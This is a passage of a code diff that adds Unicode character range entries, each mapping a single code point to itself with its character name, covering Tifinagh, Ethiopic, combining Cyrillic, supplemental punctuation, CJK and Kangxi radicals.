+ [0x2d5d, 0x2d5d], /* TIFINAGH LETTER YATH */
+ [0x2d5e, 0x2d5e], /* TIFINAGH LETTER YACH */
+ [0x2d5f, 0x2d5f], /* TIFINAGH LETTER YATT */
+ [0x2d60, 0x2d60], /* TIFINAGH LETTER YAV */
+ [0x2d61, 0x2d61], /* TIFINAGH LETTER YAW */
+ [0x2d62, 0x2d62], /* TIFINAGH LETTER YAY */
+ [0x2d63, 0x2d63], /* TIFINAGH LETTER YAZ */
+ [0x2d64, 0x2d64], /* TIFINAGH LETTER TAWELLEMET YAZ */
+ [0x2d65, 0x2d65], /* TIFINAGH LETTER YAZZ */
+ [0x2d66, 0x2d66], /* TIFINAGH LETTER YE */
+ [0x2d67, 0x2d67], /* TIFINAGH LETTER YO */
+ [0x2d68, 0x2d68],
+ [0x2d69, 0x2d69],
+ [0x2d6a, 0x2d6a],
+ [0x2d6b, 0x2d6b],
+ [0x2d6c, 0x2d6c],
+ [0x2d6d, 0x2d6d],
+ [0x2d6e, 0x2d6e],
+ [0x2d6f, 0x2d6f], /* TIFINAGH MODIFIER LETTER LABIALIZATION MARK */
+ [0x2d70, 0x2d70], /* TIFINAGH SEPARATOR MARK */
+ [0x2d71, 0x2d71],
+ [0x2d72, 0x2d72],
+ [0x2d73, 0x2d73],
+ [0x2d74, 0x2d74],
+ [0x2d75, 0x2d75],
+ [0x2d76, 0x2d76],
+ [0x2d77, 0x2d77],
+ [0x2d78, 0x2d78],
+ [0x2d79, 0x2d79],
+ [0x2d7a, 0x2d7a],
+ [0x2d7b, 0x2d7b],
+ [0x2d7c, 0x2d7c],
+ [0x2d7d, 0x2d7d],
+ [0x2d7e, 0x2d7e],
+ [0x2d7f, 0x2d7f], /* TIFINAGH CONSONANT JOINER */
+ [0x2d80, 0x2d80], /* ETHIOPIC SYLLABLE LOA */
+ [0x2d81, 0x2d81], /* ETHIOPIC SYLLABLE MOA */
+ [0x2d82, 0x2d82], /* ETHIOPIC SYLLABLE ROA */
+ [0x2d83, 0x2d83], /* ETHIOPIC SYLLABLE SOA */
+ [0x2d84, 0x2d84], /* ETHIOPIC SYLLABLE SHOA */
+ [0x2d85, 0x2d85], /* ETHIOPIC SYLLABLE BOA */
+ [0x2d86, 0x2d86], /* ETHIOPIC SYLLABLE TOA */
+ [0x2d87, 0x2d87], /* ETHIOPIC SYLLABLE COA */
+ [0x2d88, 0x2d88], /* ETHIOPIC SYLLABLE NOA */
+ [0x2d89, 0x2d89], /* ETHIOPIC SYLLABLE NYOA */
+ [0x2d8a, 0x2d8a], /* ETHIOPIC SYLLABLE GLOTTAL OA */
+ [0x2d8b, 0x2d8b], /* ETHIOPIC SYLLABLE ZOA */
+ [0x2d8c, 0x2d8c], /* ETHIOPIC SYLLABLE DOA */
+ [0x2d8d, 0x2d8d], /* ETHIOPIC SYLLABLE DDOA */
+ [0x2d8e, 0x2d8e], /* ETHIOPIC SYLLABLE JOA */
+ [0x2d8f, 0x2d8f], /* ETHIOPIC SYLLABLE THOA */
+ [0x2d90, 0x2d90], /* ETHIOPIC SYLLABLE CHOA */
+ [0x2d91, 0x2d91], /* ETHIOPIC SYLLABLE PHOA */
+ [0x2d92, 0x2d92], /* ETHIOPIC SYLLABLE POA */
+ [0x2d93, 0x2d93], /* ETHIOPIC SYLLABLE GGWA */
+ [0x2d94, 0x2d94], /* ETHIOPIC SYLLABLE GGWI */
+ [0x2d95, 0x2d95], /* ETHIOPIC SYLLABLE GGWEE */
+ [0x2d96, 0x2d96], /* ETHIOPIC SYLLABLE GGWE */
+ [0x2d97, 0x2d97],
+ [0x2d98, 0x2d98],
+ [0x2d99, 0x2d99],
+ [0x2d9a, 0x2d9a],
+ [0x2d9b, 0x2d9b],
+ [0x2d9c, 0x2d9c],
+ [0x2d9d, 0x2d9d],
+ [0x2d9e, 0x2d9e],
+ [0x2d9f, 0x2d9f],
+ [0x2da0, 0x2da0], /* ETHIOPIC SYLLABLE SSA */
+ [0x2da1, 0x2da1], /* ETHIOPIC SYLLABLE SSU */
+ [0x2da2, 0x2da2], /* ETHIOPIC SYLLABLE SSI */
+ [0x2da3, 0x2da3], /* ETHIOPIC SYLLABLE SSAA */
+ [0x2da4, 0x2da4], /* ETHIOPIC SYLLABLE SSEE */
+ [0x2da5, 0x2da5], /* ETHIOPIC SYLLABLE SSE */
+ [0x2da6, 0x2da6], /* ETHIOPIC SYLLABLE SSO */
+ [0x2da7, 0x2da7],
+ [0x2da8, 0x2da8], /* ETHIOPIC SYLLABLE CCA */
+ [0x2da9, 0x2da9], /* ETHIOPIC SYLLABLE CCU */
+ [0x2daa, 0x2daa], /* ETHIOPIC SYLLABLE CCI */
+ [0x2dab, 0x2dab], /* ETHIOPIC SYLLABLE CCAA */
+ [0x2dac, 0x2dac], /* ETHIOPIC SYLLABLE CCEE */
+ [0x2dad, 0x2dad], /* ETHIOPIC SYLLABLE CCE */
+ [0x2dae, 0x2dae], /* ETHIOPIC SYLLABLE CCO */
+ [0x2daf, 0x2daf],
+ [0x2db0, 0x2db0], /* ETHIOPIC SYLLABLE ZZA */
+ [0x2db1, 0x2db1], /* ETHIOPIC SYLLABLE ZZU */
+ [0x2db2, 0x2db2], /* ETHIOPIC SYLLABLE ZZI */
+ [0x2db3, 0x2db3], /* ETHIOPIC SYLLABLE ZZAA */
+ [0x2db4, 0x2db4], /* ETHIOPIC SYLLABLE ZZEE */
+ [0x2db5, 0x2db5], /* ETHIOPIC SYLLABLE ZZE */
+ [0x2db6, 0x2db6], /* ETHIOPIC SYLLABLE ZZO */
+ [0x2db7, 0x2db7],
+ [0x2db8, 0x2db8], /* ETHIOPIC SYLLABLE CCHA */
+ [0x2db9, 0x2db9], /* ETHIOPIC SYLLABLE CCHU */
+ [0x2dba, 0x2dba], /* ETHIOPIC SYLLABLE CCHI */
+ [0x2dbb, 0x2dbb], /* ETHIOPIC SYLLABLE CCHAA */
+ [0x2dbc, 0x2dbc], /* ETHIOPIC SYLLABLE CCHEE */
+ [0x2dbd, 0x2dbd], /* ETHIOPIC SYLLABLE CCHE */
+ [0x2dbe, 0x2dbe], /* ETHIOPIC SYLLABLE CCHO */
+ [0x2dbf, 0x2dbf],
+ [0x2dc0, 0x2dc0], /* ETHIOPIC SYLLABLE QYA */
+ [0x2dc1, 0x2dc1], /* ETHIOPIC SYLLABLE QYU */
+ [0x2dc2, 0x2dc2], /* ETHIOPIC SYLLABLE QYI */
+ [0x2dc3, 0x2dc3], /* ETHIOPIC SYLLABLE QYAA */
+ [0x2dc4, 0x2dc4], /* ETHIOPIC SYLLABLE QYEE */
+ [0x2dc5, 0x2dc5], /* ETHIOPIC SYLLABLE QYE */
+ [0x2dc6, 0x2dc6], /* ETHIOPIC SYLLABLE QYO */
+ [0x2dc7, 0x2dc7],
+ [0x2dc8, 0x2dc8], /* ETHIOPIC SYLLABLE KYA */
+ [0x2dc9, 0x2dc9], /* ETHIOPIC SYLLABLE KYU */
+ [0x2dca, 0x2dca], /* ETHIOPIC SYLLABLE KYI */
+ [0x2dcb, 0x2dcb], /* ETHIOPIC SYLLABLE KYAA */
+ [0x2dcc, 0x2dcc], /* ETHIOPIC SYLLABLE KYEE */
+ [0x2dcd, 0x2dcd], /* ETHIOPIC SYLLABLE KYE */
+ [0x2dce, 0x2dce], /* ETHIOPIC SYLLABLE KYO */
+ [0x2dcf, 0x2dcf],
+ [0x2dd0, 0x2dd0], /* ETHIOPIC SYLLABLE XYA */
+ [0x2dd1, 0x2dd1], /* ETHIOPIC SYLLABLE XYU */
+ [0x2dd2, 0x2dd2], /* ETHIOPIC SYLLABLE XYI */
+ [0x2dd3, 0x2dd3], /* ETHIOPIC SYLLABLE XYAA */
+ [0x2dd4, 0x2dd4], /* ETHIOPIC SYLLABLE XYEE */
+ [0x2dd5, 0x2dd5], /* ETHIOPIC SYLLABLE XYE */
+ [0x2dd6, 0x2dd6], /* ETHIOPIC SYLLABLE XYO */
+ [0x2dd7, 0x2dd7],
+ [0x2dd8, 0x2dd8], /* ETHIOPIC SYLLABLE GYA */
+ [0x2dd9, 0x2dd9], /* ETHIOPIC SYLLABLE GYU */
+ [0x2dda, 0x2dda], /* ETHIOPIC SYLLABLE GYI */
+ [0x2ddb, 0x2ddb], /* ETHIOPIC SYLLABLE GYAA */
+ [0x2ddc, 0x2ddc], /* ETHIOPIC SYLLABLE GYEE */
+ [0x2ddd, 0x2ddd], /* ETHIOPIC SYLLABLE GYE */
+ [0x2dde, 0x2dde], /* ETHIOPIC SYLLABLE GYO */
+ [0x2ddf, 0x2ddf],
+ [0x2de0, 0x2de0], /* COMBINING CYRILLIC LETTER BE */
+ [0x2de1, 0x2de1], /* COMBINING CYRILLIC LETTER VE */
+ [0x2de2, 0x2de2], /* COMBINING CYRILLIC LETTER GHE */
+ [0x2de3, 0x2de3], /* COMBINING CYRILLIC LETTER DE */
+ [0x2de4, 0x2de4], /* COMBINING CYRILLIC LETTER ZHE */
+ [0x2de5, 0x2de5], /* COMBINING CYRILLIC LETTER ZE */
+ [0x2de6, 0x2de6], /* COMBINING CYRILLIC LETTER KA */
+ [0x2de7, 0x2de7], /* COMBINING CYRILLIC LETTER EL */
+ [0x2de8, 0x2de8], /* COMBINING CYRILLIC LETTER EM */
+ [0x2de9, 0x2de9], /* COMBINING CYRILLIC LETTER EN */
+ [0x2dea, 0x2dea], /* COMBINING CYRILLIC LETTER O */
+ [0x2deb, 0x2deb], /* COMBINING CYRILLIC LETTER PE */
+ [0x2dec, 0x2dec], /* COMBINING CYRILLIC LETTER ER */
+ [0x2ded, 0x2ded], /* COMBINING CYRILLIC LETTER ES */
+ [0x2dee, 0x2dee], /* COMBINING CYRILLIC LETTER TE */
+ [0x2def, 0x2def], /* COMBINING CYRILLIC LETTER HA */
+ [0x2df0, 0x2df0], /* COMBINING CYRILLIC LETTER TSE */
+ [0x2df1, 0x2df1], /* COMBINING CYRILLIC LETTER CHE */
+ [0x2df2, 0x2df2], /* COMBINING CYRILLIC LETTER SHA */
+ [0x2df3, 0x2df3], /* COMBINING CYRILLIC LETTER SHCHA */
+ [0x2df4, 0x2df4], /* COMBINING CYRILLIC LETTER FITA */
+ [0x2df5, 0x2df5], /* COMBINING CYRILLIC LETTER ES-TE */
+ [0x2df6, 0x2df6], /* COMBINING CYRILLIC LETTER A */
+ [0x2df7, 0x2df7], /* COMBINING CYRILLIC LETTER IE */
+ [0x2df8, 0x2df8], /* COMBINING CYRILLIC LETTER DJERV */
+ [0x2df9, 0x2df9], /* COMBINING CYRILLIC LETTER MONOGRAPH UK */
+ [0x2dfa, 0x2dfa], /* COMBINING CYRILLIC LETTER YAT */
+ [0x2dfb, 0x2dfb], /* COMBINING CYRILLIC LETTER YU */
+ [0x2dfc, 0x2dfc], /* COMBINING CYRILLIC LETTER IOTIFIED A */
+ [0x2dfd, 0x2dfd], /* COMBINING CYRILLIC LETTER LITTLE YUS */
+ [0x2dfe, 0x2dfe], /* COMBINING CYRILLIC LETTER BIG YUS */
+ [0x2dff, 0x2dff], /* COMBINING CYRILLIC LETTER IOTIFIED BIG YUS */
+ [0x2e00, 0x2e00], /* RIGHT ANGLE SUBSTITUTION MARKER */
+ [0x2e01, 0x2e01], /* RIGHT ANGLE DOTTED SUBSTITUTION MARKER */
+ [0x2e02, 0x2e02], /* LEFT SUBSTITUTION BRACKET */
+ [0x2e03, 0x2e03], /* RIGHT SUBSTITUTION BRACKET */
+ [0x2e04, 0x2e04], /* LEFT DOTTED SUBSTITUTION BRACKET */
+ [0x2e05, 0x2e05], /* RIGHT DOTTED SUBSTITUTION BRACKET */
+ [0x2e06, 0x2e06], /* RAISED INTERPOLATION MARKER */
+ [0x2e07, 0x2e07], /* RAISED DOTTED INTERPOLATION MARKER */
+ [0x2e08, 0x2e08], /* DOTTED TRANSPOSITION MARKER */
+ [0x2e09, 0x2e09], /* LEFT TRANSPOSITION BRACKET */
+ [0x2e0a, 0x2e0a], /* RIGHT TRANSPOSITION BRACKET */
+ [0x2e0b, 0x2e0b], /* RAISED SQUARE */
+ [0x2e0c, 0x2e0c], /* LEFT RAISED OMISSION BRACKET */
+ [0x2e0d, 0x2e0d], /* RIGHT RAISED OMISSION BRACKET */
+ [0x2e0e, 0x2e0e], /* EDITORIAL CORONIS */
+ [0x2e0f, 0x2e0f], /* PARAGRAPHOS */
+ [0x2e10, 0x2e10], /* FORKED PARAGRAPHOS */
+ [0x2e11, 0x2e11], /* REVERSED FORKED PARAGRAPHOS */
+ [0x2e12, 0x2e12], /* HYPODIASTOLE */
+ [0x2e13, 0x2e13], /* DOTTED OBELOS */
+ [0x2e14, 0x2e14], /* DOWNWARDS ANCORA */
+ [0x2e15, 0x2e15], /* UPWARDS ANCORA */
+ [0x2e16, 0x2e16], /* DOTTED RIGHT-POINTING ANGLE */
+ [0x2e17, 0x2e17], /* DOUBLE OBLIQUE HYPHEN */
+ [0x2e18, 0x2e18], /* INVERTED INTERROBANG */
+ [0x2e19, 0x2e19], /* PALM BRANCH */
+ [0x2e1a, 0x2e1a], /* HYPHEN WITH DIAERESIS */
+ [0x2e1b, 0x2e1b], /* TILDE WITH RING ABOVE */
+ [0x2e1c, 0x2e1c], /* LEFT LOW PARAPHRASE BRACKET */
+ [0x2e1d, 0x2e1d], /* RIGHT LOW PARAPHRASE BRACKET */
+ [0x2e1e, 0x2e1e], /* TILDE WITH DOT ABOVE */
+ [0x2e1f, 0x2e1f], /* TILDE WITH DOT BELOW */
+ [0x2e20, 0x2e20], /* LEFT VERTICAL BAR WITH QUILL */
+ [0x2e21, 0x2e21], /* RIGHT VERTICAL BAR WITH QUILL */
+ [0x2e22, 0x2e22], /* TOP LEFT HALF BRACKET */
+ [0x2e23, 0x2e23], /* TOP RIGHT HALF BRACKET */
+ [0x2e24, 0x2e24], /* BOTTOM LEFT HALF BRACKET */
+ [0x2e25, 0x2e25], /* BOTTOM RIGHT HALF BRACKET */
+ [0x2e26, 0x2e26], /* LEFT SIDEWAYS U BRACKET */
+ [0x2e27, 0x2e27], /* RIGHT SIDEWAYS U BRACKET */
+ [0x2e28, 0x2e28], /* LEFT DOUBLE PARENTHESIS */
+ [0x2e29, 0x2e29], /* RIGHT DOUBLE PARENTHESIS */
+ [0x2e2a, 0x2e2a], /* TWO DOTS OVER ONE DOT PUNCTUATION */
+ [0x2e2b, 0x2e2b], /* ONE DOT OVER TWO DOTS PUNCTUATION */
+ [0x2e2c, 0x2e2c], /* SQUARED FOUR DOT PUNCTUATION */
+ [0x2e2d, 0x2e2d], /* FIVE DOT MARK */
+ [0x2e2e, 0x2e2e], /* REVERSED QUESTION MARK */
+ [0x2e2f, 0x2e2f], /* VERTICAL TILDE */
+ [0x2e30, 0x2e30], /* RING POINT */
+ [0x2e31, 0x2e31], /* WORD SEPARATOR MIDDLE DOT */
+ [0x2e32, 0x2e32], /* TURNED COMMA */
+ [0x2e33, 0x2e33], /* RAISED DOT */
+ [0x2e34, 0x2e34], /* RAISED COMMA */
+ [0x2e35, 0x2e35], /* TURNED SEMICOLON */
+ [0x2e36, 0x2e36], /* DAGGER WITH LEFT GUARD */
+ [0x2e37, 0x2e37], /* DAGGER WITH RIGHT GUARD */
+ [0x2e38, 0x2e38], /* TURNED DAGGER */
+ [0x2e39, 0x2e39], /* TOP HALF SECTION SIGN */
+ [0x2e3a, 0x2e3a], /* TWO-EM DASH */
+ [0x2e3b, 0x2e3b], /* THREE-EM DASH */
+ [0x2e3c, 0x2e3c], /* STENOGRAPHIC FULL STOP */
+ [0x2e3d, 0x2e3d], /* VERTICAL SIX DOTS */
+ [0x2e3e, 0x2e3e], /* WIGGLY VERTICAL LINE */
+ [0x2e3f, 0x2e3f], /* CAPITULUM */
+ [0x2e40, 0x2e40], /* DOUBLE HYPHEN */
+ [0x2e41, 0x2e41], /* REVERSED COMMA */
+ [0x2e42, 0x2e42], /* DOUBLE LOW-REVERSED-9 QUOTATION MARK */
+ [0x2e43, 0x2e43], /* DASH WITH LEFT UPTURN */
+ [0x2e44, 0x2e44], /* DOUBLE SUSPENSION MARK */
+ [0x2e45, 0x2e45],
+ [0x2e46, 0x2e46],
+ [0x2e47, 0x2e47],
+ [0x2e48, 0x2e48],
+ [0x2e49, 0x2e49],
+ [0x2e4a, 0x2e4a],
+ [0x2e4b, 0x2e4b],
+ [0x2e4c, 0x2e4c],
+ [0x2e4d, 0x2e4d],
+ [0x2e4e, 0x2e4e],
+ [0x2e4f, 0x2e4f],
+ [0x2e50, 0x2e50],
+ [0x2e51, 0x2e51],
+ [0x2e52, 0x2e52],
+ [0x2e53, 0x2e53],
+ [0x2e54, 0x2e54],
+ [0x2e55, 0x2e55],
+ [0x2e56, 0x2e56],
+ [0x2e57, 0x2e57],
+ [0x2e58, 0x2e58],
+ [0x2e59, 0x2e59],
+ [0x2e5a, 0x2e5a],
+ [0x2e5b, 0x2e5b],
+ [0x2e5c, 0x2e5c],
+ [0x2e5d, 0x2e5d],
+ [0x2e5e, 0x2e5e],
+ [0x2e5f, 0x2e5f],
+ [0x2e60, 0x2e60],
+ [0x2e61, 0x2e61],
+ [0x2e62, 0x2e62],
+ [0x2e63, 0x2e63],
+ [0x2e64, 0x2e64],
+ [0x2e65, 0x2e65],
+ [0x2e66, 0x2e66],
+ [0x2e67, 0x2e67],
+ [0x2e68, 0x2e68],
+ [0x2e69, 0x2e69],
+ [0x2e6a, 0x2e6a],
+ [0x2e6b, 0x2e6b],
+ [0x2e6c, 0x2e6c],
+ [0x2e6d, 0x2e6d],
+ [0x2e6e, 0x2e6e],
+ [0x2e6f, 0x2e6f],
+ [0x2e70, 0x2e70],
+ [0x2e71, 0x2e71],
+ [0x2e72, 0x2e72],
+ [0x2e73, 0x2e73],
+ [0x2e74, 0x2e74],
+ [0x2e75, 0x2e75],
+ [0x2e76, 0x2e76],
+ [0x2e77, 0x2e77],
+ [0x2e78, 0x2e78],
+ [0x2e79, 0x2e79],
+ [0x2e7a, 0x2e7a],
+ [0x2e7b, 0x2e7b],
+ [0x2e7c, 0x2e7c],
+ [0x2e7d, 0x2e7d],
+ [0x2e7e, 0x2e7e],
+ [0x2e7f, 0x2e7f],
+ [0x2e80, 0x2e80], /* CJK RADICAL REPEAT */
+ [0x2e81, 0x2e81], /* CJK RADICAL CLIFF */
+ [0x2e82, 0x2e82], /* CJK RADICAL SECOND ONE */
+ [0x2e83, 0x2e83], /* CJK RADICAL SECOND TWO */
+ [0x2e84, 0x2e84], /* CJK RADICAL SECOND THREE */
+ [0x2e85, 0x2e85], /* CJK RADICAL PERSON */
+ [0x2e86, 0x2e86], /* CJK RADICAL BOX */
+ [0x2e87, 0x2e87], /* CJK RADICAL TABLE */
+ [0x2e88, 0x2e88], /* CJK RADICAL KNIFE ONE */
+ [0x2e89, 0x2e89], /* CJK RADICAL KNIFE TWO */
+ [0x2e8a, 0x2e8a], /* CJK RADICAL DIVINATION */
+ [0x2e8b, 0x2e8b], /* CJK RADICAL SEAL */
+ [0x2e8c, 0x2e8c], /* CJK RADICAL SMALL ONE */
+ [0x2e8d, 0x2e8d], /* CJK RADICAL SMALL TWO */
+ [0x2e8e, 0x2e8e], /* CJK RADICAL LAME ONE */
+ [0x2e8f, 0x2e8f], /* CJK RADICAL LAME TWO */
+ [0x2e90, 0x2e90], /* CJK RADICAL LAME THREE */
+ [0x2e91, 0x2e91], /* CJK RADICAL LAME FOUR */
+ [0x2e92, 0x2e92], /* CJK RADICAL SNAKE */
+ [0x2e93, 0x2e93], /* CJK RADICAL THREAD */
+ [0x2e94, 0x2e94], /* CJK RADICAL SNOUT ONE */
+ [0x2e95, 0x2e95], /* CJK RADICAL SNOUT TWO */
+ [0x2e96, 0x2e96], /* CJK RADICAL HEART ONE */
+ [0x2e97, 0x2e97], /* CJK RADICAL HEART TWO */
+ [0x2e98, 0x2e98], /* CJK RADICAL HAND */
+ [0x2e99, 0x2e99], /* CJK RADICAL RAP */
+ [0x2e9a, 0x2e9a],
+ [0x2e9b, 0x2e9b], /* CJK RADICAL CHOKE */
+ [0x2e9c, 0x2e9c], /* CJK RADICAL SUN */
+ [0x2e9d, 0x2e9d], /* CJK RADICAL MOON */
+ [0x2e9e, 0x2e9e], /* CJK RADICAL DEATH */
+ [0x2e9f, 0x2e9f], /* CJK RADICAL MOTHER */
+ [0x2ea0, 0x2ea0], /* CJK RADICAL CIVILIAN */
+ [0x2ea1, 0x2ea1], /* CJK RADICAL WATER ONE */
+ [0x2ea2, 0x2ea2], /* CJK RADICAL WATER TWO */
+ [0x2ea3, 0x2ea3], /* CJK RADICAL FIRE */
+ [0x2ea4, 0x2ea4], /* CJK RADICAL PAW ONE */
+ [0x2ea5, 0x2ea5], /* CJK RADICAL PAW TWO */
+ [0x2ea6, 0x2ea6], /* CJK RADICAL SIMPLIFIED HALF TREE TRUNK */
+ [0x2ea7, 0x2ea7], /* CJK RADICAL COW */
+ [0x2ea8, 0x2ea8], /* CJK RADICAL DOG */
+ [0x2ea9, 0x2ea9], /* CJK RADICAL JADE */
+ [0x2eaa, 0x2eaa], /* CJK RADICAL BOLT OF CLOTH */
+ [0x2eab, 0x2eab], /* CJK RADICAL EYE */
+ [0x2eac, 0x2eac], /* CJK RADICAL SPIRIT ONE */
+ [0x2ead, 0x2ead], /* CJK RADICAL SPIRIT TWO */
+ [0x2eae, 0x2eae], /* CJK RADICAL BAMBOO */
+ [0x2eaf, 0x2eaf], /* CJK RADICAL SILK */
+ [0x2eb0, 0x2eb0], /* CJK RADICAL C-SIMPLIFIED SILK */
+ [0x2eb1, 0x2eb1], /* CJK RADICAL NET ONE */
+ [0x2eb2, 0x2eb2], /* CJK RADICAL NET TWO */
+ [0x2eb3, 0x2eb3], /* CJK RADICAL NET THREE */
+ [0x2eb4, 0x2eb4], /* CJK RADICAL NET FOUR */
+ [0x2eb5, 0x2eb5], /* CJK RADICAL MESH */
+ [0x2eb6, 0x2eb6], /* CJK RADICAL SHEEP */
+ [0x2eb7, 0x2eb7], /* CJK RADICAL RAM */
+ [0x2eb8, 0x2eb8], /* CJK RADICAL EWE */
+ [0x2eb9, 0x2eb9], /* CJK RADICAL OLD */
+ [0x2eba, 0x2eba], /* CJK RADICAL BRUSH ONE */
+ [0x2ebb, 0x2ebb], /* CJK RADICAL BRUSH TWO */
+ [0x2ebc, 0x2ebc], /* CJK RADICAL MEAT */
+ [0x2ebd, 0x2ebd], /* CJK RADICAL MORTAR */
+ [0x2ebe, 0x2ebe], /* CJK RADICAL GRASS ONE */
+ [0x2ebf, 0x2ebf], /* CJK RADICAL GRASS TWO */
+ [0x2ec0, 0x2ec0], /* CJK RADICAL GRASS THREE */
+ [0x2ec1, 0x2ec1], /* CJK RADICAL TIGER */
+ [0x2ec2, 0x2ec2], /* CJK RADICAL CLOTHES */
+ [0x2ec3, 0x2ec3], /* CJK RADICAL WEST ONE */
+ [0x2ec4, 0x2ec4], /* CJK RADICAL WEST TWO */
+ [0x2ec5, 0x2ec5], /* CJK RADICAL C-SIMPLIFIED SEE */
+ [0x2ec6, 0x2ec6], /* CJK RADICAL SIMPLIFIED HORN */
+ [0x2ec7, 0x2ec7], /* CJK RADICAL HORN */
+ [0x2ec8, 0x2ec8], /* CJK RADICAL C-SIMPLIFIED SPEECH */
+ [0x2ec9, 0x2ec9], /* CJK RADICAL C-SIMPLIFIED SHELL */
+ [0x2eca, 0x2eca], /* CJK RADICAL FOOT */
+ [0x2ecb, 0x2ecb], /* CJK RADICAL C-SIMPLIFIED CART */
+ [0x2ecc, 0x2ecc], /* CJK RADICAL SIMPLIFIED WALK */
+ [0x2ecd, 0x2ecd], /* CJK RADICAL WALK ONE */
+ [0x2ece, 0x2ece], /* CJK RADICAL WALK TWO */
+ [0x2ecf, 0x2ecf], /* CJK RADICAL CITY */
+ [0x2ed0, 0x2ed0], /* CJK RADICAL C-SIMPLIFIED GOLD */
+ [0x2ed1, 0x2ed1], /* CJK RADICAL LONG ONE */
+ [0x2ed2, 0x2ed2], /* CJK RADICAL LONG TWO */
+ [0x2ed3, 0x2ed3], /* CJK RADICAL C-SIMPLIFIED LONG */
+ [0x2ed4, 0x2ed4], /* CJK RADICAL C-SIMPLIFIED GATE */
+ [0x2ed5, 0x2ed5], /* CJK RADICAL MOUND ONE */
+ [0x2ed6, 0x2ed6], /* CJK RADICAL MOUND TWO */
+ [0x2ed7, 0x2ed7], /* CJK RADICAL RAIN */
+ [0x2ed8, 0x2ed8], /* CJK RADICAL BLUE */
+ [0x2ed9, 0x2ed9], /* CJK RADICAL C-SIMPLIFIED TANNED LEATHER */
+ [0x2eda, 0x2eda], /* CJK RADICAL C-SIMPLIFIED LEAF */
+ [0x2edb, 0x2edb], /* CJK RADICAL C-SIMPLIFIED WIND */
+ [0x2edc, 0x2edc], /* CJK RADICAL C-SIMPLIFIED FLY */
+ [0x2edd, 0x2edd], /* CJK RADICAL EAT ONE */
+ [0x2ede, 0x2ede], /* CJK RADICAL EAT TWO */
+ [0x2edf, 0x2edf], /* CJK RADICAL EAT THREE */
+ [0x2ee0, 0x2ee0], /* CJK RADICAL C-SIMPLIFIED EAT */
+ [0x2ee1, 0x2ee1], /* CJK RADICAL HEAD */
+ [0x2ee2, 0x2ee2], /* CJK RADICAL C-SIMPLIFIED HORSE */
+ [0x2ee3, 0x2ee3], /* CJK RADICAL BONE */
+ [0x2ee4, 0x2ee4], /* CJK RADICAL GHOST */
+ [0x2ee5, 0x2ee5], /* CJK RADICAL C-SIMPLIFIED FISH */
+ [0x2ee6, 0x2ee6], /* CJK RADICAL C-SIMPLIFIED BIRD */
+ [0x2ee7, 0x2ee7], /* CJK RADICAL C-SIMPLIFIED SALT */
+ [0x2ee8, 0x2ee8], /* CJK RADICAL SIMPLIFIED WHEAT */
+ [0x2ee9, 0x2ee9], /* CJK RADICAL SIMPLIFIED YELLOW */
+ [0x2eea, 0x2eea], /* CJK RADICAL C-SIMPLIFIED FROG */
+ [0x2eeb, 0x2eeb], /* CJK RADICAL J-SIMPLIFIED EVEN */
+ [0x2eec, 0x2eec], /* CJK RADICAL C-SIMPLIFIED EVEN */
+ [0x2eed, 0x2eed], /* CJK RADICAL J-SIMPLIFIED TOOTH */
+ [0x2eee, 0x2eee], /* CJK RADICAL C-SIMPLIFIED TOOTH */
+ [0x2eef, 0x2eef], /* CJK RADICAL J-SIMPLIFIED DRAGON */
+ [0x2ef0, 0x2ef0], /* CJK RADICAL C-SIMPLIFIED DRAGON */
+ [0x2ef1, 0x2ef1], /* CJK RADICAL TURTLE */
+ [0x2ef2, 0x2ef2], /* CJK RADICAL J-SIMPLIFIED TURTLE */
+ [0x2ef3, 0x2ef3], /* CJK RADICAL C-SIMPLIFIED TURTLE */
+ [0x2ef4, 0x2ef4],
+ [0x2ef5, 0x2ef5],
+ [0x2ef6, 0x2ef6],
+ [0x2ef7, 0x2ef7],
+ [0x2ef8, 0x2ef8],
+ [0x2ef9, 0x2ef9],
+ [0x2efa, 0x2efa],
+ [0x2efb, 0x2efb],
+ [0x2efc, 0x2efc],
+ [0x2efd, 0x2efd],
+ [0x2efe, 0x2efe],
+ [0x2eff, 0x2eff],
+ [0x2f00, 0x2f00], /* KANGXI RADICAL ONE */
+ [0x2f01, 0x2f01], /* KANGXI RADICAL LINE */
+ [0x2f02, 0x2f02], /* KANGXI RADICAL DOT */
+ [0x2f03, 0x2f03], /* KANGXI RADICAL SLASH */
+ [0x2f04, 0x2f04], /* KANGXI RADICAL SECOND */
+ [0x2f05, 0x2f05], /* KANGXI RADICAL HOOK */
+ [0x2f06, 0x2f06], /* KANGXI RADICAL TWO */
+ [0x2f07, 0x2f07], /* KANGXI RADICAL LID */
+ [0x2f08, 0x2f08], /* KANGXI RADICAL MAN */
+ [0x2f09, 0x2f09], /* KANGXI RADICAL LEGS */
+ [0x2f0a, 0x2f0a], /* KANGXI RADICAL ENTER */
+ [0x2f0b, 0x2f0b], /* KANGXI RADICAL EIGHT */
+ [0x2f0c, 0x2f0c], /* KANGXI RADICAL DOWN BOX */
+ [0x2f0d, 0x2f0d], /* KANGXI RADICAL COVER */
+ [0x2f0e, 0x2f0e], /* KANGXI RADICAL ICE */
+ [0x2f0f, 0x2f0f], /* KANGXI RADICAL TABLE */
+ [0x2f10, 0x2f10], /* KANGXI RADICAL OPEN BOX */
+ [0x2f11, 0x2f11], /* KANGXI RADICAL KNIFE */
+ [0x2f12, 0x2f12], /* KANGXI RADICAL POWER */
+ [0x2f13, 0x2f13], /* KANGXI RADICAL WRAP */
+ [0x2f14, 0x2f14], /* KANGXI RADICAL SPOON */
+ [0x2f15, 0x2f15], /* KANGXI RADICAL RIGHT OPEN BOX */
+ [0x2f16, 0x2f16], /* KANGXI RADICAL HIDING ENCLOSURE */
+ [0x2f17, 0x2f17], /* KANGXI RADICAL TEN */
+ [0x2f18, 0x2f18], /* KANGXI RADICAL DIVINATION */
+ [0x2f19, 0x2f19], /* KANGXI RADICAL SEAL */
+ [0x2f1a, 0x2f1a], /* KANGXI RADICAL CLIFF */
+ [0x2f1b, 0x2f1b], /* KANGXI RADICAL PRIVATE */
+ [0x2f1c, 0x2f1c], /* KANGXI RADICAL AGAIN */
+ [0x2f1d, 0x2f1d], /* KANGXI RADICAL MOUTH */
+ [0x2f1e, 0x2f1e], /* KANGXI RADICAL ENCLOSURE */
+ [0x2f1f, 0x2f1f], /* KANGXI RADICAL EARTH */
+ [0x2f20, 0x2f20], /* KANGXI RADICAL SCHOLAR */
+ [0x2f21, 0x2f21], /* KANGXI RADICAL GO */
+ [0x2f22, 0x2f22], /* KANGXI RADICAL GO SLOWLY */
+ [0x2f23, 0x2f23], /* KANGXI RADICAL EVENING */
+ [0x2f24, 0x2f24], /* KANGXI RADICAL BIG */
